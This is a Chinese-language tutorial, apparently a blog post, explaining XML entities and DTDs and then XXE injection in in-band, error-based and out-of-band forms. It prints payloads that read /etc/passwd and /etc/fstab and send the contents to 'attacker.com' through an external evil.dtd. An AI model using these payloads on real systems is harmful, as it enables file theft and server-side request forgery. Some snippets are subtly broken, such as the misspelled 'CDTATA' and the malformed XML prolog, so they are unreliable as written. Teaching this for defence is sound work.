XXE注入

XXE注入

1.什么是XML

​ XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

​ XML一般用来进行文本的标记,传输,甚至在某些情况下可以建立小型数据库。简单来说,XML负责传输web应用的数据,可以在不兼容的系统中储存数据。

​ 相比于用HTML中耗费大量时间来编辑动态的数据,XML可以兼容不同的系统,不同的程序都可以通过XML来访问数据

2.XML的结构

​ 例如:

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。

<?xml version="1.0" encoding="ISO-8859-1"?>

下一行描述文档的根元素(像在说:“本文档是一个便签”):

<note>

接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):

<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>

最后一行定义根元素的结尾:

</note>

从本例可以设想,该 XML 文档包含了 John 给 George 的一张便签。

3.XML是一种树结构

​ XML 文档必须包含根元素。该元素是所有其他元素的父元素。

XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

所有元素均可拥有子元素:

<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

​ 父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹),所有元素均可拥有文本内容和属性(类似 HTML 中),而XML中的每个标签都需要被闭合,对大小写敏感。同时在XML文档里,禁止直接出现类似<>与&这类的特殊符号,因为解析器无法分清楚。

4.XML实体

​ 实体(entity)是一种简单的存储单元,类似XML的变量,可以对它进行赋值并且在XML文档里引用。而实体会在文档类型定义部分(DTD)被单独定义描述。

​ 实体有三种类:一般实体(General),参数实体(Parameter),预定义实体(Predefined)

<?xml version="1.0"?>
<!DOCTYPE Person>[
	<!ENTITY name "John">
]>
<Person>
	<Name>&name;</Name>
	<Age>20</Age>
</Person>

​ 这样就可以定义person中的变量name为John,在下文调用的时候就会是John,这个就是通用型实体,这种实体类型会在其他地方发生引用:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传图片来自结尾视频

言简意赅就是在DTD中被赋值,下文直接调用,或在DTD中声明类型,下文赋值:

<?xml version="1.0" ?> 
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
<to>Tove</to> 
<from>Jani</from> 
<heading>Reminder</heading> 
<message>Dont forget me this weekend!</message> 
</note>

而**参数实体(Parameter)**较为特殊,这种实体很灵活,比如用一个实体ENTITY给另一个实体ENTITY赋值:

<!ENTITY % outer "<!ENTITY inner 'John'>">

这种实体在外部实体注入(XXE)过程中非常有用。

而**预定义实体(Predefined)**是某些特殊符号的一组预定义数值集,用来存储一些可能会破坏xml语法结构的符号如<>?等,一般用十六进制表示这些符号:

请添加图片描述

5.XML的安全性问题

​ 实体(Entities)作为类似变量的存在,可以存储数据,但是它的应用不只是存储,它们还有很多的功能,例如外部实体(XXE)。实体不但能存储数据还能从本地文件或远程网络中调用相关数据作为后续实体引用,这就形成了一个广泛的攻击面。我们通过一个例子来表现外部实体的漏洞:

<?xml version="1.0"?>
<!DOCTYPE XXE [
	<!ENTITY subscribe SYSTEM "secret.txt">
]>
<pwn>&subscribe;</pwn>

​ 这段语句中的SYSTEM关键词旨在让XML解析器知道这是一个外部实体,需要解析器获取外部资源并且把他存储到外部实体中,即读取secret.txt文件的内容。但是,若secret.txt中存在某些与XML语法类似的内容,XML解析器就会报错,让你知道解析错误。

​ 在secret.txt的位置,XML接受任意有效的URI包括文件,HTTP,FTP和其他协议形式的内容,甚至可以加上本地文件的路径来读取文件内容,当然,我们也可以使用URL加上网站下目录的文件来读取文件。这就是我们所说的:外部实体注入或XXE

6.XXE的分类
(1)带内实体注入攻击(Inband)

​ 这种类型的XXE就是上文所展示的读取secret.txt所使用的,XML被解析后的输出会直接显示在屏幕上。

(2)基于错误的实体注入攻击(ERROR)

​ 类似盲注,解析结果没有其他的只有一大堆错误信息。

(3)带外实体注入攻击(OOB)

​ 真正的盲注类型,在XML解析后无任何输出响应,必须执行一些带外请求来把目标数据提出来。

**情景模拟:**假设我们有一个web应用,它可以解析XML输入但无任何的输入响应。作为攻击者,我们可以使用非路径的外部实体来请求这里的web应用。

​ 我们将上文的代码中的文件路径更改为我们控制的网站,请求发出后使用ncat监听所控制的服务器,收到请求则说明受害端有效解析了我们构造的XML,这样我们就可以以受害者的身份发起请求,这种攻击方式称为服务端请求伪造,或是SSRF

但是,仅仅伪造请求是不够的,我们还需要读取文件。那么在这种无显示的情况下怎么获取文件内容呢,这就涉及到文档类型定义(DTD)

7.文档类型定义(DTD)

​ 一个DTD样例:

<!DOCTYPE Pwn [
	<!ENTITY subscribe SYSTEM "secret.txt">
]>

DTD的定义以DOCTYPE开始,DTD并不是XML数据的一部分,它们总是在根元素的定义之上,这表明了DTD的另一个特点:像实体一样可从外部加载

<!DOCTYPE pwn SYSTEM "external.dtd">
<Pwn>test<Pwn>

​ 在这种情况下,解析器将从这个外部DTD中提取并解析内容。这种机制的好处是:可以构建结构良好的XML文档,因为将定义与数据部分分开,但是这种机制也给攻击者带来了可能

如果,调用了外部的恶意DTD,那么我们可以在DTD内调用参数实体。

8.XXE攻击

​ 我们先构造一个XXE攻击的payload:

<xml version="1.0"?>
<!DOCTYPE XXE [
    <!ENTITY % passwd SYSTEM "/etc/passwd">
	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
%wrapper;		//作用是执行上一句语句使send被赋值
]>
<pwn>&send;<pwn>			//错的嗷

接下来我们分析一下这个XML:

首先,解析器会读取/etc/passwd的内容,之后将其存储到passwd实体中(这里的passwd是一个参数实体而非普通实体,因为我们在DTD中对它的调用)。然后,我们将http://attacker.com/?%passwd作为参数wrapper的值调用,%wrapper则是赋值。而下面调用send时,则send会去请求相应的外部资源,该资源对应的文件内容也会在URL中被请求。但是,由于XML的语法规范,在XML内部是没办法将第三行的passwd调用到下面的entity语句中的。只有通过外部参数实体才能绕过这一语法规则:

<xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>

这个XML文档中内置了一个外部DTD,之后我们调用一个实体send,这个send存在于evil.dtd中:

<!ENTITY % passwd SYSTEM "file:///etc/passwd">
	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">		//连接攻击机
%wrapper;

和之前一样,passwd的值为调用文件的路径,而send就是这个http://attacker.com/?%passwd的赋值。当wrapper实体在被调用后,就被替换为了passwd文件内容,变成URL的一部分,最终落在通用实体send上,因此我们在上一个xml文件中的send可以替换为我们想要的文件。

​ 总结就是:passwd实体被赋值文件路径,而send实体被赋值URL。当wrapper被调用时,它被赋值为URL下的文件路径来查询我们想要的内容,最终反映到URL的send中,所以最后调用send就会得到文件的内容,而send中的URL指向攻击者的服务器,则会向攻击者服务器发送请求。最后将payload发送给受害端,我们则可以在攻击端监听,收到URL,其中包含了我们想要的信息。

请添加图片描述

9.针对特殊文件的XXE

​ 某些文件无法在URL中表示出来,这是因为文件中带有特殊的字符,类似XML标签,所以XML解析器会尝试对这些内容进行解析。由于事实上并不是XML语句,所以解析器会将其识别为语法不良的XML语句,从而中断。

​ 这时就需要CDATA。CDATA表示字符数据(character data),是一种特殊语法,可以处理这种中断文件:

<![CDATA[<text>]]>

​ 在CDATA中的文件与字符串,文本部分不会被当做标记语言解析处理,因此在XXE注入中我们可以拼接一个CDATA来闭合文件的内容:

<xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY start "<![CDTATA[">
    <!ENTITY file SYSTEM "file:///etc/fstab">
    <!ENTITY end "]]>">
]>
<data>&start;&file;&end;</data>

​ 这样就可以将文件内容包含在CDATA的括号中,但是不符合语法标准,所以我们应该使用参数实体加上外部DTDs来解决。

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDTATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '&start;&file;&end;'>">
%wrapper;

这样就成功了。

此文中截图来自YouTube,B站有转载翻译。在这里

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值